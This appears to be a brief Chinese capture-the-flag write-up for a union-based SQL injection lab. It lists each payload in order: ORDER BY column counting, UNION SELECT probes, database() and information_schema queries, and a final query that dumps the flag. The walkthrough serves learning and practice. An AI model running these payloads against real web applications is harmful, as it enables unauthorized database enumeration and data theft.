显错注入(1)

通过order by 3#可以得出此数据库的字段数为3

通过union select 1,2,3#可以得出回显处为3处

通过union select 1,2,database()#可以得出库名为error

通过union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’error’#可以得出表名为erroe_flag和user

通过 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’error_flag’#可以得出列名为id，flag

最后通过从表中查询列可以得出flag union select 1,id,flag from error_flag

flag:zKaq-98K